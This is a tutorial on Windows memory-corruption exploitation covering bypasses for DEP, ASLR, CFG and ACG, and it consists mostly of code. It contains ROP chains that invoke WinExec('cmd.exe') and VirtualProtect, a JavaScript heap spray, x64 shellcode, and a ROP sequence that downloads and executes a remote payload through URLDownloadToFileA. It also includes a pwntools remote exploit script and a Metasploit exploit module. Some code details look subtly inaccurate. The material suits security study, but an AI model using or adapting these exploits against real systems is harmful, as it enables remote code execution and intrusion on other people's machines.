Modern Windows Exploit Development: Bypassing DEP, ASLR, and CFG

Introduction

Modern Windows exploit development requires bypassing multiple layers of defensive mitigations: DEP, ASLR, Stack Cookies, CFG, ACG, and CET. This guide explores practical techniques for exploiting memory corruption vulnerabilities despite these protections.

Memory Corruption Fundamentals

Buffer Overflow Basics

// Classic stack buffer overflow
void vulnerable_function(char* user_input) {
    char buffer[64];
    strcpy(buffer, user_input);  // No bounds checking
    // If user_input > 64 bytes, overwrites return address
}

// Stack layout (x64):
// [buffer (64 bytes)] [saved RBP (8)] [return address (8)] [parameters...]
//
// Overflow payload:
// [padding (64)] [fake RBP (8)] [shellcode_addr (8)]

Exploitation:

import struct

def p64(value):
    return struct.pack('<Q', value)

# Build exploit
padding = b'A' * 64
fake_rbp = p64(0x4141414141414141)
ret_addr = p64(0x00007FF612345000)  # Address of shellcode

payload = padding + fake_rbp + ret_addr

Heap Overflow

// Vulnerable heap allocation
typedef struct {
    char name[32];
    void (*callback)(void);
} USER_OBJECT;

USER_OBJECT* obj = malloc(sizeof(USER_OBJECT));
strcpy(obj->name, user_input);  // VULNERABLE: No bounds check

// If user_input > 32 bytes, overwrites function pointer
obj->callback();  // RIP control!

DEP (Data Execution Prevention) Bypass

Return-Oriented Programming (ROP)

DEP marks stack/heap as non-executable. Bypass by chaining existing code (“gadgets”).

Finding Gadgets:

# Using ropper
from pwn import *

elf = ELF("vulnerable.exe")
rop = ROP(elf)

# Find gadgets
gadgets = [
    rop.find_gadget(['pop rdi', 'ret'])[0],
    rop.find_gadget(['pop rsi', 'ret'])[0],
    rop.find_gadget(['pop rdx', 'ret'])[0],
]

print(f"pop rdi; ret: {hex(gadgets[0])}")

Manual Gadget Search:

# Using rp++ (Windows)
rp-win-x64.exe -f vulnerable.exe -r 5 --unique

0x00007FF612340000: pop rax ; ret  ;  (1 found)
0x00007FF612340005: pop rcx ; ret  ;  (1 found)
0x00007FF61234000A: pop rdx ; ret  ;  (1 found)
0x00007FF612340010: pop r8 ; ret  ;  (1 found)
0x00007FF612340015: xchg rax, rsp ; ret  ;  (1 found)
0x00007FF612340020: jmp rax  ;  (1 found)

ROP Chain Construction

Goal: Call WinExec("cmd.exe", SW_SHOW)

import struct

def p64(val):
    return struct.pack('<Q', val)

# Gadget addresses (from vulnerable.exe)
POP_RCX = 0x00007FF612340005
POP_RDX = 0x00007FF61234000A
POP_R8  = 0x00007FF612340010
POP_R9  = 0x00007FF612340015

# Windows API addresses (need ASLR bypass)
WINEXEC = 0x00007FFD12345000

# String "cmd.exe" in memory
CMD_STR = 0x00007FF612350000

# ROP chain
rop_chain = b''
rop_chain += p64(POP_RCX)         # pop rcx; ret
rop_chain += p64(CMD_STR)         # rcx = "cmd.exe"
rop_chain += p64(POP_RDX)         # pop rdx; ret
rop_chain += p64(1)               # rdx = SW_SHOW (1)
rop_chain += p64(WINEXEC)         # call WinExec

# Trigger overflow with ROP chain
payload = b'A' * 64 + p64(0x4141414141414141) + rop_chain

VirtualProtect ROP

Alternative: Use ROP to call VirtualProtect and make shellcode executable.

# ROP to VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old)
rop_chain = b''
rop_chain += p64(POP_RCX)             # pop rcx; ret
rop_chain += p64(shellcode_addr)      # lpAddress
rop_chain += p64(POP_RDX)             # pop rdx; ret
rop_chain += p64(len(shellcode))      # dwSize
rop_chain += p64(POP_R8)              # pop r8; ret
rop_chain += p64(0x40)                # flNewProtect = PAGE_EXECUTE_READWRITE
rop_chain += p64(POP_R9)              # pop r9; ret
rop_chain += p64(writable_addr)       # lpflOldProtect
rop_chain += p64(VIRTUALPROTECT)      # call VirtualProtect
rop_chain += p64(shellcode_addr)      # return to shellcode

ASLR (Address Space Layout Randomization) Bypass

Information Disclosure

ASLR randomizes base addresses. Bypass by leaking addresses.

Stack Address Leak:

// Vulnerable function leaks stack pointer
void info_leak() {
    char buffer[64];
    printf("Buffer at: %p\n", buffer);  // LEAK: Stack address
    gets(buffer);  // Buffer overflow
}

// Exploit:
// 1. Call info_leak() → leak stack address
// 2. Calculate ROP chain position
// 3. Trigger overflow with ROP chain

DLL Base Address Leak:

// Partial overwrite technique (low entropy)
// Windows ASLR: Only high bytes randomized
// Example: kernel32.dll at 0x00007FFD12XX0000
//          Low 16 bits: 0x0000 (not randomized)

// Leak via format string
printf(user_input);  // Format string vulnerability
// Input: "%p %p %p %p %p"
// Output: 0x7FFD12345678 0x7FFD12346000 ...
//         ^^^^ Leak kernel32 base

Heap Spraying

Spray heap with known pattern to predict allocation addresses.

// JavaScript heap spray (browser exploit)
var spray = new Array();
var SPRAY_SIZE = 0x100000;
var SPRAY_COUNT = 100;

// Craft spray block
var block = unescape("%u9090%u9090");  // NOP sled
while (block.length < SPRAY_SIZE / 2) {
    block += block;
}

// Shellcode at end
var shellcode = unescape("%uXXXX%uYYYY...");
block = block.substring(0, SPRAY_SIZE / 2 - shellcode.length) + shellcode;

// Spray heap
for (var i = 0; i < SPRAY_COUNT; i++) {
    spray[i] = block;
}

// Trigger vulnerability → jump to predictable address
// High probability shellcode is at 0x0A0A0A0A (example)

Partial Overwrite

// Only overwrite low bytes of return address
// Works when high bytes remain constant

// Example: Return address at 0x00007FF612345678
// Overwrite to:      0x00007FF612340000 (gadget)
//                               ^^^ Only 2 bytes changed

char overflow[66];
memset(overflow, 'A', 64);
overflow[64] = 0x00;  // Low byte
overflow[65] = 0x40;  // High byte
// overflow[66+] = not overwritten (keeps original high bytes)

strcpy(buffer, overflow);

Control Flow Guard (CFG) Bypass

CFG validates indirect call targets. Only allows calls to valid function entry points.

CFG Validation

; CFG-protected indirect call
mov rax, [rdi]        ; Load function pointer
mov rcx, rax          ; Copy target
call __guard_check_icall_fptr  ; Validate target
call rax              ; If valid, proceed

; __guard_check_icall_fptr implementation:
; Checks if target is in CFG bitmap
; If invalid → terminates process

Bypass Technique 1: Call Valid Target

// Instead of directly calling shellcode, call valid CFG target
// that performs useful operation

// Example: Call LoadLibrary (valid CFG target)
HMODULE (WINAPI *pLoadLibrary)(LPCSTR) = &LoadLibraryA;

// Use ROP/overflow to call LoadLibrary with controlled parameter
// Payload: LoadLibrary("evil.dll") → DllMain executes shellcode

typedef struct {
    BYTE padding[64];
    PVOID fake_rbp;
    PVOID ret_addr;  // Point to valid CFG target (e.g., LoadLibraryA)
    PVOID param;     // Pointer to "evil.dll" string
} EXPLOIT_PAYLOAD;

EXPLOIT_PAYLOAD payload = {0};
payload.ret_addr = (PVOID)&LoadLibraryA;  // CFG-valid
payload.param = (PVOID)"C:\\Windows\\Temp\\evil.dll";

Bypass Technique 2: ROP to CFG-Disabled Code

// Some legacy DLLs compiled without CFG
// Check module for CFG flag:

// PE header analysis
IMAGE_LOAD_CONFIG_DIRECTORY* cfg = GetLoadConfigDir(module);
if (!(cfg->GuardFlags & IMAGE_GUARD_CF_INSTRUMENTED)) {
    // Module not CFG-protected
    // ROP gadgets here are not CFG-validated
}

// Build ROP chain using only non-CFG modules
rop_chain += gadget_from_legacy_dll;

Bypass Technique 3: Counterfeit Object Oriented Programming (COOP)

// Abuse C++ vtables (valid CFG targets) for unintended operations

// Example: Abuse std::basic_string destructor
std::string* fake_str = (std::string*)controlled_memory;

// Craft fake string object
struct FakeString {
    void* vtable;           // Point to valid std::string vtable
    char* data;             // Point to shellcode
    size_t length;
    size_t capacity;
};

FakeString* fake = (FakeString*)malloc(sizeof(FakeString));
fake->vtable = (void*)real_string_vtable;  // CFG-valid
fake->data = (char*)shellcode_address;

// Trigger destructor → calls free(fake->data)
// If overwrite free() GOT entry → RIP control
delete (std::string*)fake;

ACG (Arbitrary Code Guard) Bypass

ACG prevents creating new executable pages. Bypass by reusing existing executable code.

JIT Code Reuse

// If process has JIT compiler (e.g., .NET, JavaScript engine)
// JIT code pages are RWX

// Locate JIT code region
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(address, &mbi, sizeof(mbi));
if (mbi.Protect == PAGE_EXECUTE_READWRITE) {
    // Found JIT region
    // Write shellcode here (no VirtualProtect needed)
}

Return to Existing Code

# Pure ROP payload (no shellcode)
# Chain existing Windows API calls

# Example: Download and execute payload
rop = b''
rop += rop_call(URLDownloadToFileA, [0, url, local_file, 0, 0])
rop += rop_call(WinExec, [local_file, SW_SHOW])

Heap Exploitation Techniques

Use-After-Free (UAF)

// Vulnerable code
typedef struct {
    char data[32];
    void (*callback)(void);
} OBJECT;

OBJECT* obj = malloc(sizeof(OBJECT));
obj->callback = &legitimate_function;

free(obj);  // Free object

// Use-after-free
obj->callback();  // Calls freed memory

Exploitation:

// Heap feng shui: Reallocate freed chunk with controlled data
OBJECT* obj = malloc(sizeof(OBJECT));
obj->callback = &legitimate_function;

free(obj);

// Spray heap to reclaim freed chunk
char* spray = malloc(sizeof(OBJECT));
memcpy(spray, "AAAAAAAA...", 32);
memcpy(spray + 32, &shellcode_addr, 8);  // Overwrite callback pointer

// Trigger UAF
obj->callback();  // Now calls shellcode_addr

Heap Overflow

// Low Fragmentation Heap (LFH) exploitation
// Windows 10+ uses LFH for allocations < 16KB

// Allocate adjacent chunks
PVOID chunk1 = malloc(0x100);
PVOID chunk2 = malloc(0x100);

// Overflow chunk1 into chunk2
memcpy(chunk1, overflow_data, 0x200);  // Overwrites chunk2 metadata

// Free chunk2 → corrupted metadata → controlled free()
free(chunk2);  // Exploits corrupted size/pointer

Type Confusion

// Vulnerable union
union {
    struct {
        int type;
        int value;
    } int_obj;

    struct {
        int type;
        void (*func)(void);
    } func_obj;
} VARIANT_OBJECT;

VARIANT_OBJECT obj;
obj.int_obj.type = TYPE_INT;
obj.int_obj.value = user_controlled_value;

// Type confusion: Treat as function pointer
if (obj.func_obj.type == TYPE_FUNC) {  // Bypass check
    obj.func_obj.func();  // Calls user_controlled_value as function
}

Shellcode Development

Position-Independent Shellcode

; x64 position-independent shellcode
; Resolves kernel32.dll and WinExec dynamically

section .text
global _start

_start:
    ; Find kernel32.dll base via PEB
    mov rax, [gs:0x60]        ; PEB
    mov rax, [rax + 0x18]     ; PEB.Ldr
    mov rax, [rax + 0x20]     ; InMemoryOrderModuleList
    mov rax, [rax]            ; Second entry (kernel32.dll)
    mov rax, [rax]            ; Third entry
    mov rbx, [rax + 0x20]     ; DllBase = kernel32.dll

    ; Find WinExec export
    call find_winexec
    mov rcx, cmd_str          ; "cmd.exe"
    mov rdx, 1                ; SW_SHOW
    call rax                  ; WinExec("cmd.exe", 1)

    ret

find_winexec:
    ; Parse PE export table
    mov edx, [rbx + 0x3c]     ; e_lfanew
    add rdx, rbx              ; PE header
    mov edx, [rdx + 0x88]     ; Export table RVA
    add rdx, rbx              ; Export table
    mov ecx, [rdx + 0x18]     ; NumberOfNames
    mov r8d, [rdx + 0x20]     ; AddressOfNames RVA
    add r8, rbx

.loop:
    dec rcx
    mov esi, [r8 + rcx * 4]   ; Name RVA
    add rsi, rbx              ; Name string

    ; Compare with "WinExec"
    cmp dword [rsi], 'eniW'   ; "WinE"
    jne .loop
    cmp dword [rsi + 4], 'cexE' ; "xec"
    jne .loop

    ; Found WinExec
    mov r9d, [rdx + 0x24]     ; AddressOfNameOrdinals
    add r9, rbx
    movzx ecx, word [r9 + rcx * 2]  ; Ordinal

    mov r8d, [rdx + 0x1c]     ; AddressOfFunctions
    add r8, rbx
    mov eax, [r8 + rcx * 4]   ; Function RVA
    add rax, rbx              ; Function address
    ret

cmd_str db 'cmd.exe', 0

Compile:

nasm -f win64 shellcode.asm -o shellcode.obj
ld -m i386pep shellcode.obj -o shellcode.exe

# Extract raw bytes
objcopy -O binary shellcode.exe shellcode.bin

Null-Byte Free Shellcode

; Avoid null bytes (important for string-based vulnerabilities)

; BAD: Contains null bytes
mov rax, 0x0000000012345678   ; 48 b8 78 56 34 12 00 00 00 00

; GOOD: No null bytes
xor rax, rax
mov ax, 0x5678
shl rax, 16
mov ax, 0x1234

; Alternative: Use smaller registers
xor eax, eax              ; Zero-extends to 64-bit
mov eax, 0x12345678       ; 32-bit immediate (no null padding)

Exploit Automation

Pwntools Script

from pwn import *

context.arch = 'amd64'
context.os = 'windows'

# Connect to vulnerable service
io = remote('192.168.1.100', 9999)

# Leak stack address
io.sendline(b'LEAK')
leak = io.recvline()
stack_addr = int(leak.strip(), 16)
log.info(f"Stack leak: {hex(stack_addr)}")

# Build ROP chain
rop = ROP(ELF('vulnerable.exe'))
rop.call(rop.find_gadget(['pop rdi', 'ret'])[0], [stack_addr + 0x100])
rop.call('system')

# Send exploit
payload = b'A' * 64 + p64(0x4141414141414141) + rop.chain()
io.sendline(payload)

io.interactive()

Metasploit Module

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Vulnerable Service Buffer Overflow',
      'Description' => 'Stack buffer overflow in vulnerable.exe',
      'Author'      => ['researcher'],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Targets'     => [
        ['Windows 10 x64', { 'Offset' => 64, 'Ret' => 0x00007FF612345000 }]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(9999)
    ])
  end

  def exploit
    connect

    # Build payload
    buffer = 'A' * target['Offset']
    buffer += [target['Ret']].pack('Q<')  # Return address
    buffer += payload.encoded

    sock.put(buffer)
    handler
    disconnect
  end
end

Conclusion

Modern Windows exploit development requires chaining multiple techniques to bypass layered mitigations. Successful exploitation demands deep understanding of memory management, CPU architecture, Windows internals, and creative approaches to bypass defensive technologies.

As mitigations evolve (CET, kernel VBS, etc.), exploit development continues to advance through novel techniques like COOP, JIT reuse, and logic bugs that bypass memory protections entirely.

References

Corelan Team (2010). “Exploit Writing Tutorial”
Microsoft (2023). “Exploit Protection Reference”
Molnar, I. (2021). “Modern Binary Exploitation”
Google Project Zero (2023). “Windows Exploitation Techniques”